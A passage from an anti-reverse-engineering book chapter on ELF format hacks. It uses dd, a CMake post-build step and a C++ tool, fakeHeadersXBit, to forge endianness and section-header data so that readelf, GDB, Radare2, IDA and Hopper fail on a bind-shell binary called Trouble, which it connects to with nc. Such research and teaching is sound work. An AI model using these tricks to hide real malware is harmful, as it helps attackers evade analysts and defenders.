The sixth byte specifies the data encoding of the

processor-specific data in the file. Currently,
these encodings are supported:
ELFDATANONE
ELFDATA2LSB
ELFDATA2MSB

Unknown data format.

Two's complement, little-endian.
Two's complement, big-endian.

If you think about it, it sort of makes sense that this field isnt necessary to execute a
binary. A system is either little-endian or big-endian (unless its ARM which can be
bi-endian). As such, a loader probably doesnt need to check this byte because it can
only execute one or the other.
However, tools like readelf, Radare2, and IDA are expected to read files from many
architectures. This byte is important for them to determine the endianness of the
binary. So what happens if you insert a lie?
Look at what readelf currently says about the EI_DATA byte in Trouble (it appears
in both the Magic and Data lines):
Looking at EI_DATA in Trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -a ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian

As you can see from the readelf output, Troubles EI_DATA byte (the 6th byte in the
magic array) is set to 1 which means ELFDATA2LSB or Twos complement, littleendian. Lets change that to 2 or Twos complement, big-endian using dd. Use the
following command:

Chapter 3: File Format Hacks

Changing the EI_DATA byte with dd

printf '\x02' | dd conv=notrunc of=./trouble bs=1 seek=5
1+0 records in
1+0 records out
1 byte copied, 7.6279e-05 s, 13.1 kB/s

Note that seek starts at 0 so use seek=5 instead of seek=6. Now check out what readelf
has to say about Trouble.
readelf after changing Troubles EI_DATA flag
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -a ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 02 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, big endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
<unknown>: 200
Machine:
<unknown>: 0x3e00
Version:
0x1000000
Entry point address:
0xf202400000000000
Start of program headers:
4611686018427387904 (bytes into file)
Start of section headers:
-5178858096499359744 (bytes into file)
Flags:
0x0
Size of this header:
16384 (bytes)
Size of program headers:
14336 (bytes)
Number of program headers:
1024
Size of section headers:
16384 (bytes)
Number of section headers:
3072
Section header string table index: 2816
readelf: Warning: The e_shentsize field in the ELF header is larger than the size of \
an ELF section header
readelf: Error: Reading 0x3000000 bytes extends past end of file for section headers
readelf: Error: Section headers are not available!
readelf: Warning: The e_phentsize field in the ELF header is larger than the size of \
an ELF program header
readelf: Error: Reading 0xe00000 bytes extends past end of file for program headers
readelf: Warning: The e_phentsize field in the ELF header is larger than the size of \

Chapter 3: File Format Hacks

an ELF program header

readelf: Error: Reading 0xe00000 bytes extends past end of file for program headers

Yikes! Thats properly messed up, isnt it? It appears that readelf believes the
endianness lie in Trouble.
I doubt that GDB could be tricked by this though, right?
Breaking GDB with an endianness lie
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ gdb ./trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/home/albino-lobster/antire_book/chap_3_format_hacks/trouble/build/./trouble": not i\
n executable format: File format not recognized

Whoops. GDB rejected the executable with a File format not recognized error. Now
Im a little worried that Trouble wont even execute. However, a quick test proves that
Im able to execute Trouble and a client can still connect to it.

Chapter 3: File Format Hacks

Trouble still works

albino-lobster@ubuntu:~$ nc 127.0.0.1 1270
irVsrle0v1AcAi7Ox70jn00O8lx3ruwk
pwd
/home/albino-lobster/antire_book/chap_3_format_hacks/trouble/build
exit

It appears that flipping a single bit stops readelf and GDB from doing their proper
job. Lets see how our favorite disassemblers hold up against this attack.
Breaking Radare2 with the endianness lie
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ radare2 ./trou\
ble
Warning: Cannot initialize program headers
Warning: Cannot initialize section headers
Warning: Cannot initialize strings table
Warning: Cannot initialize dynamic strings
Warning: Cannot initialize dynamic section
Warning: read (init_offset)
Warning: read (get_fini)
-- radare2 for FideOS, now with extra potato
[0xf202400000000000]> aaa
[Cannot find function 'entry0' at 0xf202400000000000(aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Searching xrefs in non-executable regiones (aar)
[x] Analyze len bytes of instructions for references (aar)
[Oops invalid rangen calls (aac)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0xf202400000000000]> f fcn
[0xf202400000000000]> pdf
p: Cannot find function at 0xf202400000000000
[0xf202400000000000]>

Ok, so Radare2 is broken too. I also tried Hopper but it displays nothing which,
from an anti reverse engineering point of view, is great because the user is given no
hint as to what went wrong.

Chapter 3: File Format Hacks

IDAs response is interesting. It starts off by displaying this error message:

IDAs error message for the endianness lie

The typo makes my inner third grader gleeful, but Im certain they mean byte six.
However, after hitting Yes to continue, IDA does successfully disassemble the entire
file. It appears IDA must have secondary methods for determining the true endianess.
Despite IDA raining on our parade, this seems like a useful little obfuscation and its
easy to add to our build process too. Just add the following line to the end of Troubles
CMakeLists.txt.
CMake command for inserting the endianness lie
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND echo 'Ag==' | base64 -d | dd conv=notrunc of=${CMAKE_CURRE\
NT_BINARY_DIR}/${PROJECT_NAME} bs=1 seek=5)

echo Ag== | base64 -d

You might be wondering, Whats the deal with the CMake command
for inserting the endianness lie? Funny story, CMake doesnt like back
slashes in the add_custom_command() function and I found no work
around for that. I tried just echoing the UTF-8 representation of \x02 but
that broke this books version tracking system. I finally settled on base64
decoding of echo -ne \x02 | base64.

When compiling Trouble with the new EI_DATA obfuscation added it should look
like this:

Chapter 3: File Format Hacks

Compiling Trouble with the EI_DATA obfuscation

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ make clean; ma\
ke
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_3_format_h\
acks/trouble/build
Scanning dependencies of target trouble
[ 50%] Building C object CMakeFiles/trouble.dir/src/trouble.c.o
[100%] Linking C executable trouble
The bind shell password is: lu0NwoGb2CtAWeqcwiHe8GNJcXRfxuLV
1+0 records in
1+0 records out
1 byte copied, 4.1259e-05 s, 24.2 kB/s
[100%] Built target trouble

The Sections Are a Lie

In the previous two sections you learned that the section headers arent required
to run an executable and you can insert false information into the ELF header to
discourage analysis. Some disassemblers rely on the section headers table to provide
address mappings and for discovering special sections like .init and .fini. Is it
possible to trick disassemblers by messing around with the section headers table?

Flipping the Executable Bit

Compile the chapter three version of the Trouble bind shell and remove the section
headers table using the stripBinary utility. In readelf Trouble should now look like
this:

https://gcc.gnu.org/onlinedocs/gccint/Initialization.html

Chapter 3: File Format Hacks

View of Trouble after stripBinary

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -a ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x4002f2
Start of program headers:
64 (bytes into file)
Start of section headers:
0 (bytes into file)
Flags:
0x0
Size of this header:
64 (bytes)
Size of program headers:
56 (bytes)
Number of program headers:
4
Size of section headers:
64 (bytes)
Number of section headers:
0
Section header string table index: 0
There are no sections in this file.
There are no sections to group in this file.
Program Headers:
Type
Offset
FileSiz
LOAD
0x0000000000000000
0x0000000000001c1c
LOAD
0x0000000000001fe8
0x0000000000000178
GNU_STACK
0x0000000000000000
0x0000000000000000
GNU_RELRO
0x0000000000001fe8
0x0000000000000018

VirtAddr
MemSiz
0x0000000000400000
0x0000000000001c1c
0x0000000000601fe8
0x00000000000004b8
0x0000000000000000
0x0000000000000000
0x0000000000601fe8
0x0000000000000018

There is no dynamic section in this file.

PhysAddr
Flags Align
0x0000000000400000
R E
200000
0x0000000000601fe8
RW
200000
0x0000000000000000
RW
10
0x0000000000601fe8
R
1

Chapter 3: File Format Hacks

There are no relocations in this file.

The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not\
currently supported.
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.

There are four program headers that describe Troubles address space. An important
part of the program headers is the flags field. The flag field describes if a segment is
executable, writeable, and/or readable. Of Troubles four program headers one is read
only (r), two are readable and writeable (rw), and one is readable and executable
(re). Do disassemblers use the flags field for their analysis? Lets experiment.
Lets try to create a fake section headers table that reverses the program headers
flag fields. This will hopefully make the disassembler think that the space described
by the first LOAD is not executable and the space described by the second load is.
The section headers table will have four entries:
1. An SHT_NULL section header. This is commonly placed at the beginning of a
section table and would look weird if left out.
2. An SHT_PROGBITS section. In this section, youll set the address space to
cover the first LOAD segment. However, instead of being re like the first
LOAD it will be rw like the second LOAD. The name of the section will be
.data so that itll look like a normal data section.
3. Another SHT_PROGBITS section. In this section, youll set the address space
to cover the second LOAD segment. This time mark the segment as re instead
of rw. The name for this section should be .text since itll look like a code
segment.
4. A SHT_STRTAB section. This section will point to the end of the file where
youll be appending a new list of section names.
Ive included code in chapter three that does exactly this. The project is called
fakeHeadersXBit. The project, again, contains two files: CMakeLists.txt and fakeHeadersXBit.cpp.

Chapter 3: File Format Hacks

chap_3_format_hacks/fakeHeadersXbit/CMakeLists.txt
project(fakeHeadersXBit CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow")
add_executable(${PROJECT_NAME} src/fakeHeadersXBit.cpp)

fakeHeadersXBit.cpp
#include
#include
#include
#include
#include
#include

/**
* The goal of this tool is to confuse a disassembler into thinking that the
* executable portion of the code is data and the data portion of the code is
* executable.
*
* This tool will add a section table to a binary that doesn't have one. The
* section table will be made up of 4 headers:
*
* - null header
* - .data: this section covers what .text should, but we unset X and set W
* - .text: this section covers what .data should, but we set X and unset W
* - .shstrtab: the strings table.
*
* This code makes the assumption that the binary has two PF_LOAD segments in
* the program table. One segment with PF_X set and one with PF_W set.
*/
/*
* Edits the ELF header to indicate that there are 6 section headers and that
* the string table is the last one.
*
* \param[in,out] p_data the ELF binary
* \return true if its possible to add a section table. false otherwise
*/

Chapter 3: File Format Hacks

bool edit_elf_header(std::string& p_data)

{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' ||
p_data[3] != 'F')
{
return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
if (ehdr->e_shoff != 0)
{
std::cerr << "The binary already has a section table." << std::endl;
return false;
}
if (ehdr->e_shentsize != sizeof(Elf64_Shdr))
{
std::cerr << "Unexpected section header size" << std::endl;
return false;
}
ehdr->e_shoff = p_data.size();
ehdr->e_shnum = 4;
ehdr->e_shstrndx = 3;
return true;
}
/*
* This finds the PF_X segment and creates a section header named .data that
* does not have the X bit set.
*
* \param[in,out] p_data the ELF binary
* \param[in,out] p_strings the section table string names
* \return true if no error was encountered
*/
bool add_data_section(std::string& p_data, std::string& p_strings)
{
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[0] + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++, phdr++)
{

Chapter 3: File Format Hacks

if (phdr->p_type == PT_LOAD)
{
if ((phdr->p_flags & PF_X) == PF_X)
{
Elf64_Shdr data_header = {};
data_header.sh_name = p_strings.size();
data_header.sh_type = SHT_PROGBITS;
data_header.sh_flags = SHF_ALLOC | SHF_WRITE;
data_header.sh_addr = phdr->p_vaddr;
data_header.sh_offset = phdr->p_offset;
data_header.sh_size = phdr->p_filesz;
data_header.sh_link = 0;
data_header.sh_info = 0;
data_header.sh_addralign = 4;
data_header.sh_entsize = 0;
p_strings.append(".data");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&data_header),
sizeof(data_header));
return true;
}
}
}
return false;
}
/*
* This finds the PF_W segment and creates a section header named .text that
* has the X bit set.
*
* \param[in,out] p_data the ELF binary
* \param[in,out] p_strings the section table string names
* \return true if no error was encountered
*/
bool add_text_section(std::string& p_data, std::string& p_strings)
{
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[0] + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++, phdr++)
{

Chapter 3: File Format Hacks

if (phdr->p_type == PT_LOAD)
{
if ((phdr->p_flags & PF_X) == 0)
{
Elf64_Shdr text_header = {};
text_header.sh_name = p_strings.size();
text_header.sh_type = SHT_PROGBITS;
text_header.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
text_header.sh_addr = phdr->p_vaddr;
text_header.sh_offset = phdr->p_offset;
text_header.sh_size = phdr->p_filesz;
text_header.sh_link = 0;
text_header.sh_info = 0;
text_header.sh_addralign = 4;
text_header.sh_entsize = 0;
p_strings.append(".text");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&text_header),
sizeof(text_header));
return true;
}
}
}
return false;
}
bool append_sections(std::string& p_data)
{
// this will contain the section name strings
std::string strings;
strings.push_back('\x00');
// first section is empty
Elf64_Shdr null_header = {};
p_data.append(reinterpret_cast<char*>(&null_header), sizeof(null_header));
if (!add_data_section(p_data, strings))
{
std::cerr << "Failed to find the executable LOAD segment" << std::endl;
return false;
}
if (!add_text_section(p_data, strings))

Chapter 3: File Format Hacks

{
std::cerr << "Failed to find the writable LOAD segment" << std::endl;
return false;
}
// .shstrtab
Elf64_Shdr strtab = {};
strtab.sh_name = strings.size();
strtab.sh_type = SHT_STRTAB;
strtab.sh_flags = 0;
strtab.sh_addr = 0;
strtab.sh_offset = p_data.size() + sizeof(Elf64_Shdr);
strtab.sh_size = 0;
strtab.sh_link = 0;
strtab.sh_info = 0;
strtab.sh_addralign = 4;
strtab.sh_entsize = 0;
strings.append(".shstrtab");
strings.push_back('\x00');
strtab.sh_size = strings.size();
p_data.append(reinterpret_cast<char*>(&strtab), sizeof(strtab));
p_data.append(strings);
return true;
}
int main(int p_argc, char** p_argv)
{
if (p_argc != 2)
{
std::cerr << "Usage: ./fakeHeadersXBit <file path>" << std::endl;
return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to ropen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_it\
erator<char>());

Chapter 3: File Format Hacks

inputFile.close();
if (!edit_elf_header(input))
{
return EXIT_FAILURE;
}
if (!append_sections(input))
{
return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{
std::cerr << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

As usual, compile fakeHeadersXBit with CMake.

Compiling fakeHeadersXBit
albino-lobster@ubuntu:~/antire_book$ cd chap_3_format_hacks/fakeHeadersXbit/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit$ cd build/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit/build$ cmake \
..
-- The CXX compiler identification is GNU 5.4.0
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done

Chapter 3: File Format Hacks

-- Build files have been written to: /home/albino-lobster/antire_book/chap_3_format_h\

acks/fakeHeadersXbit/build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit/build$ make
Scanning dependencies of target fakeHeadersXBit
[ 50%] Building CXX object CMakeFiles/fakeHeadersXBit.dir/src/fakeHeadersXBit.cpp.o
[100%] Linking CXX executable fakeHeadersXBit
[100%] Built target fakeHeadersXBit
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit/build$

Previously you compiled Trouble and removed the section headers table using the
stripBinary tool. Now you can add the fake section headers table using fakeHeadersXBit,
Adding a fake section table to Trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit/build$ ./fake\
HeadersXBit ~/antire_book/chap_3_format_hacks/trouble/build/trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/fakeHeadersXbit/build$

The output isnt very exciting, but check out how Trouble has changed.
Trouble with the fakeHeadersXBit section headers table
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -a ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x4002f2
Start of program headers:
64 (bytes into file)
Start of section headers:
9560 (bytes into file)
Flags:
0x0
64 (bytes)
Size of this header:

Chapter 3: File Format Hacks

Size of program headers:
Number of program headers:
Size of section headers:
Number of section headers:
Section header string table index:

56 (bytes)
4
64 (bytes)
4
3

Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 0]
NULL
0000000000000000 00000000
0000000000000000 0000000000000000
0
0
0
[ 1] .data
PROGBITS
0000000000400000 00000000
0000000000001c1c 0000000000000000 WA
0
0
4
[ 2] .text
PROGBITS
0000000000601fe8 00001fe8
0000000000000178 0000000000000000 AX
0
0
4
[ 3] .shstrtab
STRTAB
0000000000000000 00002658
0000000000000017 0000000000000000
0
0
4
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
There are no section groups in this file.
Program Headers:
Type
Offset
FileSiz
LOAD
0x0000000000000000
0x0000000000001c1c
LOAD
0x0000000000001fe8
0x0000000000000178
GNU_STACK
0x0000000000000000
0x0000000000000000
GNU_RELRO
0x0000000000001fe8
0x0000000000000018
Section to Segment mapping:
Segment Sections...
00
.data
01
.text
02
03

VirtAddr
MemSiz
0x0000000000400000
0x0000000000001c1c
0x0000000000601fe8
0x00000000000004b8
0x0000000000000000
0x0000000000000000
0x0000000000601fe8
0x0000000000000018

PhysAddr
Flags Align
0x0000000000400000
R E
200000
0x0000000000601fe8
RW
200000
0x0000000000000000
RW
10
0x0000000000601fe8
R
1

Chapter 3: File Format Hacks

There is no dynamic section in this file.

There are no relocations in this file.
The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not\
currently supported.
No version information found in this file.

readelf shows the four section headers that fakeHeadersXBit added. Also, you can see
that the .data and .text sections overlap with the same address space covered by the
LOAD segments in the program headers. However, notice that the read/write/execute
bits dont match between the program headers and section headers table.
Now the question is, How does this effect disassemblers? Lets start with IDA.
Before applying the fake table section IDA found 54 functions in Trouble and the
navigation bar appeared quite complete.

Navigation Bar on Trouble Without Sections Table

However, when IDA analyzes Trouble with the fakeHeadersXBit applied it only finds
22 functions and the navigation bar shows a lot of missing analysis.

Navigation Bar on Trouble With Fake Sections Table

Why did IDA fail? Consider the the entry point in disassembly.

Chapter 3: File Format Hacks

Troubles entry point

LOAD:00000000004002F2
LOAD:00000000004002F2 start
LOAD:00000000004002F2
LOAD:00000000004002F5
LOAD:00000000004002F8
LOAD:00000000004002F9
LOAD:00000000004002FC
LOAD:0000000000400300
LOAD:0000000000400307
LOAD:000000000040030E
LOAD:0000000000400315

public start
proc near
xor
rbp, rbp
mov
r9, rdx
pop
rsi
mov
rdx, rsp
and
rsp, 0FFFFFFFFFFFFFFF0h
mov
r8, offset _term_proc
mov
rcx, offset _init_proc
mov
rdi, offset sub_400130
call
sub_400566

At 0x40030e you should notice that the address 0x400130 is moved into rdi. This
address is the beginning of Troubles main() function. Normally, IDA would disassemble that main() like this:
The beginning of Troubles main() disassembled
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400130
LOAD:0000000000400131
LOAD:0000000000400132
LOAD:0000000000400137

sub_400130

proc near

var_68
var_58
var_50
var_48
var_20

=
=
=
=
=

; DATA XREF: start+1C

qword ptr -68h

qword ptr -58h
qword ptr -50h
byte ptr -48h
qword ptr -20h

push
push
mov
mov

rbp
rbx
edx, 6
esi, 1

But when the fakeHeadersXBit sections headers table is added to Trouble the
disassembly of main() is never done:

Chapter 3: File Format Hacks

The beginning of Troubles main() not disassembled

.data:0000000000400130 unk_400130
.data:0000000000400131
.data:0000000000400132
.data:0000000000400133
.data:0000000000400134
.data:0000000000400135
.data:0000000000400136
.data:0000000000400137

db 55h ;
db 53h ;
db 0BAh ;
db
6
db
0
db
0
db
0
db 0BEh ;

U
S

; DATA XREF: start+1C

Why does this happen? Remember that fakeHeadersXBits section headers table tells
IDA that the area main() resides in is not executable. Therefore, IDA decides not to
treat it as code. This forces the reverse engineer to manually disassemble these types
of functions (or use a script to do so). Pretty neat!
All disassemblers work differently and this section is a great example. For example,
Hopper handles the fake section table even worse than IDA. Hopper is only able
to mark four functions and only two of those are correctly disassembled. On the
otherside of the coin, Radare2 doesnt appear to be affected by the fake sections table.
I believe Radare2 is not affected because it treats both the section entries and program
segments as sections and the program segments take precedence. Although that is
only a guess. The cool thing with Radare2 is you can look into a the code to find out.
However, that is an excercise Ill leave to the reader.

Lying with .init

As we saw in the previous section, a fake sections header table can cause a
disassembler to not work properly. Are there more lies we can tell? I think there
is. There are two special sections that youll often come across in ELF binaries: the
.init and .fini sections. These sections contain code that execute before and after the
main() function. If you include .init and .fini sections in the fake section headers
table can you force the disassembler to disassemble at bad locations? Lets update
fakeHeadersXBit.cpp to include .init and .fini sections. Well need to update two
functions: edit_elf_header() and add_data_section().

Chapter 3: File Format Hacks

Updated edit_elf_header()
bool edit_elf_header(std::string& p_data)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' ||
p_data[3] != 'F')
{
return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
if (ehdr->e_shoff != 0)
{
std::cerr << "The binary already has a section table." << std::endl;
return false;
}
if (ehdr->e_shentsize != sizeof(Elf64_Shdr))
{
std::cerr << "Unexpected section header size" << std::endl;
return false;
}
ehdr->e_shoff = p_data.size();
ehdr->e_shnum = 6;
ehdr->e_shstrndx = 5;
return true;
}

Updated add_data_section()
bool add_data_section(std::string& p_data, std::string& p_strings)
{
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[0] + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++, phdr++)
{
if (phdr->p_type == PT_LOAD)
{

Chapter 3: File Format Hacks

if ((phdr->p_flags & PF_X) == PF_X)

{
std::size_t entry_physical = 8;
Elf64_Shdr init_header = {};
init_header.sh_name = p_strings.size();
init_header.sh_type = SHT_PROGBITS;
init_header.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
init_header.sh_addr = phdr->p_vaddr;
init_header.sh_offset = phdr->p_offset;
init_header.sh_size = entry_physical;
init_header.sh_link = 0;
init_header.sh_info = 0;
init_header.sh_addralign = 4;
init_header.sh_entsize = 0;
p_strings.append(".init");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&init_header),
sizeof(init_header));
Elf64_Shdr data_header = {};
data_header.sh_name = p_strings.size();
data_header.sh_type = SHT_PROGBITS;
data_header.sh_flags = SHF_ALLOC | SHF_WRITE;
data_header.sh_addr = phdr->p_vaddr + entry_physical + 1;
data_header.sh_offset = phdr->p_offset + entry_physical + 1;
data_header.sh_size = phdr->p_filesz - (entry_physical + 1) - 8;
data_header.sh_link = 0;
data_header.sh_info = 0;
data_header.sh_addralign = 4;
data_header.sh_entsize = 0;
p_strings.append(".data");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&data_header),
sizeof(data_header));
Elf64_Shdr fini_header = {};
fini_header.sh_name = p_strings.size();
fini_header.sh_type = SHT_PROGBITS;
fini_header.sh_flags = SHF_ALLOC | SHF_WRITE;
fini_header.sh_addr = phdr->p_vaddr + phdr->p_filesz - 8;
fini_header.sh_offset = phdr->p_offset + phdr->p_filesz - 8;
fini_header.sh_size = 8;

Chapter 3: File Format Hacks

100

fini_header.sh_link = 0;
fini_header.sh_info = 0;
fini_header.sh_addralign = 4;
fini_header.sh_entsize = 0;
p_strings.append(".fini");
p_strings.push_back('\x00');
p_data.append(reinterpret_cast<char*>(&fini_header),
sizeof(fini_header));
return true;
}
}
}
return false;
}

Recompile fakeHeadersXBit and Trouble. Use stripBinary to remove the real section
headers table from Trouble and then use fakeHeadersXBit to attach the fake section
headers table. If youve done this successfully then readelf should look like this:
Trouble with the updated version of fakeHeadersXBit
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -a ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x4002f2
Start of program headers:
64 (bytes into file)
Start of section headers:
9560 (bytes into file)
Flags:
0x0
Size of this header:
64 (bytes)
Size of program headers:
56 (bytes)
Number of program headers:
4
Size of section headers:
64 (bytes)
Number of section headers:
6

101

Chapter 3: File Format Hacks

Section header string table index: 5
Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 0]
NULL
0000000000000000 00000000
0000000000000000 0000000000000000
0
0
0
[ 1] .init
PROGBITS
0000000000400000 00000000
0000000000000008 0000000000000000 AX
0
0
4
[ 2] .data
PROGBITS
0000000000400009 00000009
0000000000001c0b 0000000000000000 WA
0
0
4
[ 3] .fini
PROGBITS
0000000000401c14 00001c14
0000000000000008 0000000000000000 WA
0
0
4
[ 4] .text
PROGBITS
0000000000601fe8 00001fe8
0000000000000178 0000000000000000 AX
0
0
4
[ 5] .shstrtab
STRTAB
0000000000000000 000026d8
0000000000000023 0000000000000000
0
0
4
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
There are no section groups in this file.
Program Headers:
Type
Offset
FileSiz
LOAD
0x0000000000000000
0x0000000000001c1c
LOAD
0x0000000000001fe8
0x0000000000000178
GNU_STACK
0x0000000000000000
0x0000000000000000
GNU_RELRO
0x0000000000001fe8
0x0000000000000018
Section to Segment mapping:
Segment Sections...
00
.init .data .fini
01
.text
02
03

VirtAddr
MemSiz
0x0000000000400000
0x0000000000001c1c
0x0000000000601fe8
0x00000000000004b8
0x0000000000000000
0x0000000000000000
0x0000000000601fe8
0x0000000000000018

PhysAddr
Flags Align
0x0000000000400000
R E
200000
0x0000000000601fe8
RW
200000
0x0000000000000000
RW
10
0x0000000000601fe8
R
1

Chapter 3: File Format Hacks

102

There is no dynamic section in this file.

There are no relocations in this file.
The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not\
currently supported.
No version information found in this file.

Now if you try to load Trouble in Radare2 youll encounter an interesting problem.
Trouble with updated fakeHeadersXBit in Radare2
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ radare2 ./trou\
ble
Warning: Cannot initialize dynamic strings
-- To remove this message, put `dbxenv suppress_startup_message 7.5' in your .dbxrc
[0x004002f2]> aaa
[Cannot find function 'entry0' at 0x004002f2 entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Searching xrefs in non-executable regiones (aar)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x004002f2]> pdf
p: Cannot find function at 0x004002f2
[0x004002f2]>

Radare2 cant find the entry point! In fact, Radare2 doesnt find any functions! What
happened? To get a clearer view I started the Radare2 web GUI.

Chapter 3: File Format Hacks

103

Starting the Radare2 Web GUI

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ radare2 -c=H .\
/trouble
Warning: Cannot initialize dynamic strings
Starting http server...
open http://localhost:9090/
r2 -C http://localhost:9090/cmd/

The problem becomes obvious when looking at 0x400000. Remember that 0x400000
is where the ELF header starts, but our section headers table also says .init starts
